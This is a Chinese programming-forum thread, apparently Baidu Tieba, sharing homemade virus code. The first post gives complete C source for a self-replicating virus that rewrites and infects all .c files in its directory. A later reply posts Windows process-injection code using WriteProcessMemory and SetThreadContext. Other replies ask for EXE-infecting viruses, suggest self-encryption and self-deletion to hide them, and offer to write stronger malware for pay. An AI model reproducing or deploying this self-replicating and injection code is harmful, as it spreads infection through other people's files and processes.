简单的病毒程序

到百度贴吧首页
新闻   网页   贴吧   知道   MP3   图片   视频   百科
    吧内搜索 | 帮助

简单的病毒程序

1楼

首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
  病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
  1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
  2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
  这样一个简单的c语言伪病毒virus.c就完成了 
  运行程序后其内容变化另保存为after_virus.c
  此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
  对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
  其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
 i=0;
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
 {
 goto next;
 }
 do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf[i],80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t");
   fputs("#include<stdio.h>\n",out);
   fputs("#include<dir.h>\n",out);
 do
 {
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();\n",out);
    }
    fputs(buf[j],out);
   }
 }
 else if((strstr(buf[j],include[0])==NULL)
 &&(strstr(buf[j],include[1])==NULL))
 {
fputs(buf[j],out);
j++;
 }
 else
 j++;
 }while(j<i-1);
 read=fopen(virus,"rt");
do
{
 p=fgets(buffer,80,read);
 if(strstr(buffer,int_virus))
 while(p!=NULL)
 {
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
        fputs("\";\n",out);
 }
 p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}


2楼

好家伙.写起病毒来了.呵呵.抓无赦.

3楼

呵呵,
这是唬弄小孩子的程序
怎么能叫病毒呢?
都说勉强是病毒了

218.65.113.*

6楼

传染性太差了吧,有没有能传染EXE文件的病毒呀,用C语言写的

7楼

人心不足,蛇吞象.

8楼

有比这厉害十倍的都有
前提是你给我钱
你有什么要求也可以给你做到
有兴趣加我QQ
不过你要是不想出钱
那就免谈,也别加我

9楼

破烂

10楼

不要钱的午餐当然好不到那里去
要好的还不出钱?
我看你是没有睡醒吧

221.215.233.*

11楼

有简单的恶意程序吗?

12楼

有没有反病毒的病毒(用c写的)我想你会说有 但钱~~~~~~~~~~~ 嘿嘿~~~~~~~~~~~~~~~~~
220.176.236.*

13楼

谁给个下C调试软件的地址哦,我下了N个,但是都是不怎么好的,用不成,现在都正郁闷着呢!

14楼

晕,不可用,有一人错误,谁可以告诉我,可能哪个第二行的dir

15楼

这个病毒究竟是什么效果哦?我不敢运行

16楼

放心运行吧
我都说这个程序勉强叫病毒了

61.150.49.*

17楼

前不见古人,后不见来者.
219.128.200.*

18楼

高手可以帮我解释解释这个程序吗?
218.18.72.*

19楼

超级病毒___110
222.242.229.*

20楼

我觉得病毒自我复制外,还需要能够自我压缩,自我加密和自我删除,个人觉得自我压缩这个方法简单易行,而且可以提高隐藏能力。
个人觉得其实毁灭性病毒要比恶搞型病毒容易很多

219.137.149.*

21楼

我没学好这个我看不懂不过我觉得你还是有点本事?
220.161.22.*

23楼

给一个我写的
windows下

#include <iostream.h>
#include <stdlib.h>
#include <windows.h>
#include <conio.h>
#include <tlhelp32.h>
#define NULLPTR {\
_asm nop\
_asm nop\
_asm nop\
_asm nop\
}

void WaitForKey()
{
cout<<"Press any key to continue"<<endl;
getch();
}
_declspec(naked) _stdcall MyCreateThread()
{
#define AddressOffset 0x100
#define FunOffset 20
nStart:
_asm//4
{
//CreateThread
NULLPTR
}
_asm
{
pushfd
pushad
call vStart//5
vStart:
pop eax
sub eax,offset vStart
add eax,offset nStart

mov ebx,eax
sub ebx,AddressOffset

push NULL
push NULL

push ebx//param

add ebx,FunOffset

push ebx//address

push NULL
push NULL

call dword ptr [eax]

popad
popfd
ret 
}
}
_declspec(naked) _stdcall CopyFun(LPVOID lpStartAddress)
{
#define CALL_FUN(fun){\
_asm mov ebx,v##fun\
_asm add ebx,lpStartAddress\
_asm call [ebx]\
}
#define vMessageBox 0
#define vLoadLibrary 4
#define vSleep 8
#define vGetModuleFileName 12
#define vExitProcess 16
_asm{
//vMessageBox://77D36476h 
NULLPTR
//vLoadLibrary://77E5D961h 
NULLPTR
//vSleep://77E41BEAh
NULLPTR
//vGetModuleFileName
NULLPTR
//vExitProcess
NULLPTR
}
_asm

push ebp
mov ebp,esp
sub esp,100h
}
UINT nTxt[60];
nTxt[0]=0x72657355;//User
nTxt[1]=0x3233;//32
_asm{ 
push 1000
CALL_FUN(Sleep);
lea eax,nTxt
push eax
CALL_FUN(LoadLibrary); 
}
_asm{
lea eax,nTxt
push size nTxt
push eax
push 0
CALL_FUN(GetModuleFileName);

lea eax,nTxt
push 0
push 0 
push eax
push 0 
CALL_FUN(MessageBox)

push 0
CALL_FUN(ExitProcess)
leave
ret 4 
}
}
void main()

DWORD dwWritten;
LPBYTE lpMem;

STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION ni;

char cmdProcessB[]="Child.exe";
::GetStartupInfo(&si);

LPINT ApiFun[5],ApiFun2[1];
ApiFun[0]=(LPINT)MessageBoxW;
ApiFun[1]=(LPINT)LoadLibraryA;
ApiFun[2]=(LPINT)Sleep;
ApiFun[3]=(LPINT)GetModuleFileNameW;
ApiFun[4]=(LPINT)ExitProcess;

ApiFun2[0]=(LPINT)CreateThread;

if(!CreateProcess(NULL,cmdProcessB,NULL,NULL,
false,0,NULL,NULL,&si,&ni))
{
cout<<"Error Number is "<<GetLastError()<<endl;
WaitForKey();
return;
}
Sleep(1000);
lpMem=(LPBYTE)::VirtualAllocEx(ni.hProcess,NULL,0x200,MEM_COMMIT,PAGE_READWRITE); 
if(lpMem)
{
WriteProcessMemory(ni.hProcess,lpMem,(LPVOID)CopyFun,0x100,&dwWritten);
WriteProcessMemory(ni.hProcess,lpMem,
(LPVOID)ApiFun,sizeof(ApiFun),&dwWritten);

WriteProcessMemory(ni.hProcess,lpMem+0x100,(LPVOID)MyCreateThread,0x100,&dwWritten);
WriteProcessMemory(ni.hProcess,lpMem+0x100,
(LPVOID)ApiFun2,sizeof(ApiFun2),&dwWritten);

CONTEXT context={CONTEXT_INTEGER|CONTEXT_CONTROL};
GetThreadContext(ni.hThread,&context);

context.Esp-=4;
WriteProcessMemory(ni.hProcess,(LPVOID)context.Esp,
(LPVOID)&context.Eip,sizeof(DWORD),&dwWritten);
context.Eip=(ULONG)lpMem+0x100+sizeof(ApiFun2);
SetThreadContext(ni.hThread,&context); 
}


}

220.161.22.*

24楼

我觉得病毒自我复制外,还需要能够自我压缩,自我加密和自我删除,个人觉得自我压缩这个方法简单易行,而且可以提高隐藏能力。
个人觉得其实毁灭性病毒要比恶搞型病毒容易很多 
-------------------------
Hook to api

220.161.22.*

25楼

楼上的楼上不是病毒!

26楼

虽然是病毒,但对于学习还是利大于弊的。

27楼

它还是很有价值的。

28楼

说得对哈!恶搞得病毒比恶性病毒更难编写
61.149.205.*

29楼

是在学习还是在攀比? cordingfan们?
220.175.12.*

30楼

我是学信息安全的,
呵呵~~~~~~~~~~~~
写起这个来了呀!!

我写一个,不写了,要是那个有什么坏蛋,我是主谋了

221.1.216.*

31楼

其实,好多网站都有免费的!!!!!!!!!!!
只要大家搜索就行了!!!!!!!111

32楼

8楼的太不友好了,我们到这里来的目的就是交换学习的心得,不是为了生意迩来的
220.172.75.*

33楼

我是贵州的,我学了C和数据结构。写过俄罗斯方块之类的小游戏。希望有这方面爱好的加我!!
QQ:81933797

发表回复

内 容:
用户名:
  
©2010 Baidu 贴吧协议  意见反馈